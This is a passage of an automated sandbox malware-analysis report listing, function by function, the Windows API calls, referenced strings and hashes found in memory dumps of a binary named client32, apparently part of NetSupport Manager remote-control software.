NSM.LIC, xrefs: 110270E1
product, xrefs: 11027108
AdminUserAcknowledge, xrefs: 1102723B
PCIRES, xrefs: 1102715B

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Load$MetricsSystem$IconImage$Library__wcstoi64
String ID: AdminUserAcknowledge$NSM.LIC$PCIRES$_License$product
API String ID: 1946015-4092316048
Opcode ID: 79552c2543423f62f7d866570ef95865b621177092b99735c6026cb116710b4b
Instruction ID: 4d3aa306a4fc4e245e425526cd06d18cb91a572ade39775ead4cef6959447daf
Opcode Fuzzy Hash: 79552c2543423f62f7d866570ef95865b621177092b99735c6026cb116710b4b
Instruction Fuzzy Hash: C0512675E40717ABEB11CAA48C81F6FF6AD9F59708F504065FE05E7280EB70E905C7A2

Function 11047530 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 137processwindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110475B6
WinExec.KERNEL32(?,00000001), ref: 1104762F
CloseHandle.KERNEL32(?), ref: 11047651
CloseHandle.KERNEL32(?), ref: 1104765A
IsWindow.USER32(00000000), ref: 1104766C
GetLastError.KERNEL32 ref: 11047697
IsWindow.USER32(00000000), ref: 110476C9
PostMessageA.USER32(00000000,00000010,00000000,00000000), ref: 110476DA

Part of subcall function 11140F70: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11190A88), ref: 11140FDD
Part of subcall function 11140F70: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110C55B), ref: 1114101E
Part of subcall function 11140F70: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114107B

Strings

ShowVideo, xrefs: 110475C1
PCIVideoSlave32, xrefs: 11047676
Failed to load player (%d), xrefs: 1104769E
DoShowVideo - could not find %s window, xrefs: 1104767B
pcivideovi.exe /X, xrefs: 1104757D
D, xrefs: 110475C6

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseFolderHandlePathWindow$ErrorExecFileLastMessageModuleNamePost_memset
String ID: D$DoShowVideo - could not find %s window$Failed to load player (%d)$PCIVideoSlave32$ShowVideo$pcivideovi.exe /X
API String ID: 2703108677-1914331637
Opcode ID: 82804b2da0bfa7b9fbec4a48a92b77f6e9497cef3618a94a2c94943b127ce1b5
Instruction ID: a90dc50c87a326d97a74718224d21f643bd0c08341bee09a7a0a5584cda26901
Opcode Fuzzy Hash: 82804b2da0bfa7b9fbec4a48a92b77f6e9497cef3618a94a2c94943b127ce1b5
Instruction Fuzzy Hash: 7841B634E0062A9FD710DF64CC85FDDF7E9AF48709F1080A5E9199B281EB71A984CB95

Function 1111D5A0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 1111B7E0: SelectPalette.GDI32(?,?,00000000), ref: 1111B85C
Part of subcall function 1111B7E0: SelectPalette.GDI32(?,?,00000000), ref: 1111B871
Part of subcall function 1111B7E0: DeleteObject.GDI32(?), ref: 1111B884
Part of subcall function 1111B7E0: DeleteObject.GDI32(?), ref: 1111B891
Part of subcall function 1111B7E0: DeleteObject.GDI32(?), ref: 1111B8B6

_free.LIBCMT ref: 1111D5BD

Part of subcall function 1115F2C5: HeapFree.KERNEL32(00000000,00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2DB
Part of subcall function 1115F2C5: GetLastError.KERNEL32(00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2ED

_free.LIBCMT ref: 1111D5D3
_free.LIBCMT ref: 1111D5E8
GdiFlush.GDI32(?,?,?,02478DF8), ref: 1111D5F0
_free.LIBCMT ref: 1111D5FD
_free.LIBCMT ref: 1111D611
SelectObject.GDI32(?,?), ref: 1111D62D
DeleteObject.GDI32(?), ref: 1111D63A
GetLastError.KERNEL32(?,?,?,?,?,02478DF8), ref: 1111D644
DeleteDC.GDI32(?), ref: 1111D66B
ReleaseDC.USER32(?,?), ref: 1111D67E
DeleteDC.GDI32(?), ref: 1111D68B
InterlockedDecrement.KERNEL32(111E49C8), ref: 1111D698

Strings

Error deleting membm, e=%d, xrefs: 1111D64B

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Delete$Object_free$Select$ErrorLastPalette$DecrementFlushFreeHeapInterlockedRelease
String ID: Error deleting membm, e=%d
API String ID: 3195047866-709490903
Opcode ID: a8e9fa6b2795ce8f004b42856998b5ecb2ec031948f27f0d7e8eba9680f91402
Instruction ID: 76bf48e3e7e8e91d844ddee7a87d69e6379bacc928fcefcccecbf19e1705c5f1
Opcode Fuzzy Hash: a8e9fa6b2795ce8f004b42856998b5ecb2ec031948f27f0d7e8eba9680f91402
Instruction Fuzzy Hash: 292156B9500B02ABD251ABB5D8C8B9FF3E4EF88349F50491DE5AA87204DB34F401CB66

Function 110A7370 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 117windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 110A7396
CreateCompatibleDC.GDI32(00000000), ref: 110A73A2
GetRgnBox.GDI32(?,11048879), ref: 110A73C3
CreateCompatibleBitmap.GDI32(?,?,00000005), ref: 110A73E2
SelectObject.GDI32(00000000,00000000), ref: 110A73F8
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,00000005,00FF0062), ref: 110A7427
OffsetRgn.GDI32(00000000,?,00000005), ref: 110A7442
SelectClipRgn.GDI32(00000000,00000000), ref: 110A7453
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,00000005,00CC0020), ref: 110A7473
SelectObject.GDI32(00000000,?), ref: 110A747E
DeleteDC.GDI32(00000000), ref: 110A7485
ReleaseDC.USER32(00000000,00000000), ref: 110A7491

Strings

@Ls, xrefs: 110A73A2

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Select$CompatibleCreateObject$BitmapClipDeleteOffsetRelease
String ID: @Ls
API String ID: 1998184411-4225762999
Opcode ID: 6375b4158c81d5b49bc7bff17e44be9fdc0846eb939fc4591ffaa5725bfe132d
Instruction ID: e3d1c8e06de52d48e22b4a072d63f707989114a953e21c7997a81ce814526253
Opcode Fuzzy Hash: 6375b4158c81d5b49bc7bff17e44be9fdc0846eb939fc4591ffaa5725bfe132d
Instruction Fuzzy Hash: B141F975A00216AFD715CFA4C885EBEBBB9EB8C704F108119FA16A3244CB35AC01CB61

Function 110CD5C0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 113windowCOMMON

Download Yara Rule

APIs

GetStretchBltMode.GDI32(?,?,?,1101C9B1,?,00000002,?), ref: 110CD5F8
SetStretchBltMode.GDI32(?,00000004), ref: 110CD606
GetDC.USER32(00000000), ref: 110CD60E
CreateCompatibleDC.GDI32(00000000), ref: 110CD617
CreateCompatibleBitmap.GDI32(00000000,00000280,000001E0), ref: 110CD62A
SelectObject.GDI32(00000000,00000000), ref: 110CD635
StretchBlt.GDI32(?,?,?,00000000,?,00000000,00000000,00000000,00000280,000001E0,00CC0020), ref: 110CD69C
SelectObject.GDI32(00000000,1101C9B1), ref: 110CD6A7
DeleteObject.GDI32(?), ref: 110CD6B1
DeleteDC.GDI32(00000000), ref: 110CD6B8
ReleaseDC.USER32(00000000,00000000), ref: 110CD6C1
SetStretchBltMode.GDI32(?,?), ref: 110CD6CE

Strings

@Ls, xrefs: 110CD617

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Stretch$ModeObject$CompatibleCreateDeleteSelect$BitmapRelease
String ID: @Ls
API String ID: 3869104054-4225762999
Opcode ID: 4cd5c15a1307939a7bc44611b11280addb4b9eea335058283b3b6782dfa3e116
Instruction ID: 6fcd98f032939e49e657ba5034e0ee3eaac8dcc65a820ee95e38efdc43828b63
Opcode Fuzzy Hash: 4cd5c15a1307939a7bc44611b11280addb4b9eea335058283b3b6782dfa3e116
Instruction Fuzzy Hash: 7C3109B5600215AFD700DFA8CC89FAEB7B9EF8D705F208159FA15DB294D670AD01CBA1

Function 1100D210 Relevance: 19.6, APIs: 1, Strings: 12, Instructions: 50COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1100D281

Strings

AlreadyStarted, xrefs: 1100D245
CannotGetFunc, xrefs: 1100D23E
RequiresVista, xrefs: 1100D229
CannotLoadDll, xrefs: 1100D230
Exception, xrefs: 1100D268, 1100D276
DllInitFailed, xrefs: 1100D237
NoCapClients, xrefs: 1100D253
BadParam, xrefs: 1100D261
AlreadyStopped, xrefs: 1100D24C
Unknown error %d, xrefs: 1100D277
StillInstances, xrefs: 1100D26F
NotFound, xrefs: 1100D25A

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: AlreadyStarted$AlreadyStopped$BadParam$CannotGetFunc$CannotLoadDll$DllInitFailed$Exception$NoCapClients$NotFound$RequiresVista$StillInstances$Unknown error %d
API String ID: 2111968516-2092292787
Opcode ID: 71b832774a9a67cc2805294b152cedf335a5b2d3806edc2898a462ed524f8ead
Instruction ID: 015081efe9a757f342e5b51a9668928ba0dcf5b3a59938d54183b4fdf0967b8e
Opcode Fuzzy Hash: 71b832774a9a67cc2805294b152cedf335a5b2d3806edc2898a462ed524f8ead
Instruction Fuzzy Hash: 77F05A3A68051D57AA0187ED780547EF38D678057D7C8909AF4BCEAE20F912DCE0A2D9

Function 110FD190 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 247libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32,?,?,?,?,00000000), ref: 110FD30D
GetProcAddress.KERNEL32(00000000,GetGUIThreadInfo), ref: 110FD325
_memset.LIBCMT ref: 110FD342
GetProcAddress.KERNEL32(?,SendInput), ref: 110FD39A
FreeLibrary.KERNEL32(?,?,00000000), ref: 110FD486

Strings

SendInput, xrefs: 110FD394
0, xrefs: 110FD353
user32, xrefs: 110FD308
GetGUIThreadInfo, xrefs: 110FD31F

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad_memset
String ID: 0$GetGUIThreadInfo$SendInput$user32
API String ID: 530983809-271338563
Opcode ID: 8453a725e6bcc6fb064359c060f027c82fd18e66a9309b6faeda76eac3c62d64
Instruction ID: 01b5dffcd2aceb3d1c19df19a15d3ce4100fbe37034ad31773c34160b3100dcb
Opcode Fuzzy Hash: 8453a725e6bcc6fb064359c060f027c82fd18e66a9309b6faeda76eac3c62d64
Instruction Fuzzy Hash: F3A1C470E053A6DFDB16CF64C885BADBBF9FB44708F0081A9E52897284DB759A80CF50

Function 1114D5A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 1114D625
VariantClear.OLEAUT32(00000000), ref: 1114D6E7
_com_util::ConvertStringToBSTR.COMSUPP ref: 1114D6FD

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1114D6C8
IsA(), xrefs: 1114D6CD

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Variant$ClearConvertInitString_com_util::
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 2883245406-3415836059
Opcode ID: 5c2f55d6810d0bdc67b1bbd46f99fb8d8f198d28398623af644c9f356b450d6f
Instruction ID: b712c9d6c7d4c32b004ce4bf58e00fe892e2b59da5cc4dfc33913f347413ee04
Opcode Fuzzy Hash: 5c2f55d6810d0bdc67b1bbd46f99fb8d8f198d28398623af644c9f356b450d6f
Instruction Fuzzy Hash: BD611E76D0061A9FCB04DBE4D990EDEF7B9FF98304F108659E516A7244EB34AA05CFA0

Function 1111B070 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

GetWindowLongA.USER32(?,000000EC), ref: 1111B13E
SetWindowLongA.USER32(?,000000EC,00000000), ref: 1111B14C
GetWindowRect.USER32(?,?), ref: 1111B16B
MoveWindow.USER32(?,00000000,?,00000000,00000000,00000001), ref: 1111B1A9
GetWindowLongA.USER32(?,000000EC), ref: 1111B1B7
SetWindowLongA.USER32(?,000000EC,00000000), ref: 1111B1C5
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000037), ref: 1111B1DB
MoveWindow.USER32(?,?,?,?,?,00000001), ref: 1111B207

Strings

*MustBeFrontWindow, xrefs: 1111B0BD
View, xrefs: 1111B09A, 1111B0C2
FullScreen, xrefs: 1111B095

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Long$Move$Rect__wcstoi64
String ID: *MustBeFrontWindow$FullScreen$View
API String ID: 24119980-532707272
Opcode ID: 27135e5b2a2a9c3cfe3e5f8cfb40093d35a09cd7de9a97650aa5a1e66709048b
Instruction ID: 185e9f1ea3d5207c87e1ffc6726db70e2c87aaa3b485fd7a04bef55b5faf1d4e
Opcode Fuzzy Hash: 27135e5b2a2a9c3cfe3e5f8cfb40093d35a09cd7de9a97650aa5a1e66709048b
Instruction Fuzzy Hash: F2519075600201ABEB10DF64CDC5FAAF779BB88714F044278FE199F2CAD671A840CBA5

Function 11075100 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 153COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111E86C0,8F98CBB2,1110BE6D,00000000,00000000,00000000,E8111B17,1117EB23,000000FF,?,1110B52D,000367BB,90680D75,E8111B17,00000001,00000000), ref: 1107514E

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

InitializeCriticalSection.KERNEL32(0000000C,?,1110B52D,000367BB,90680D75,E8111B17,00000001,00000000,8F98CBB2,00000000,00000001,00000000,00000000,11186608,000000FF), ref: 110751B7
InitializeCriticalSection.KERNEL32(00000024,?,1110B52D,000367BB,90680D75,E8111B17,00000001,00000000,8F98CBB2,00000000,00000001,00000000,00000000,11186608,000000FF), ref: 110751BD
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,1110B52D,000367BB,90680D75,E8111B17,00000001,00000000,8F98CBB2,00000000,00000001,00000000,00000000), ref: 110751C7
InitializeCriticalSection.KERNEL32(000004C8,?,1110B52D,000367BB,90680D75,E8111B17,00000001,00000000,8F98CBB2,00000000,00000001,00000000,00000000), ref: 1107521C
InitializeCriticalSection.KERNEL32(000004F0,?,1110B52D,000367BB,90680D75,E8111B17,00000001,00000000,8F98CBB2,00000000,00000001,00000000,00000000), ref: 11075225

Strings

General, xrefs: 1107529B
*TraceSend, xrefs: 110752D1
*TraceRecv, xrefs: 110752A7
_debug, xrefs: 110752C5, 110752DF
*MaxRxPending, xrefs: 11075296

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
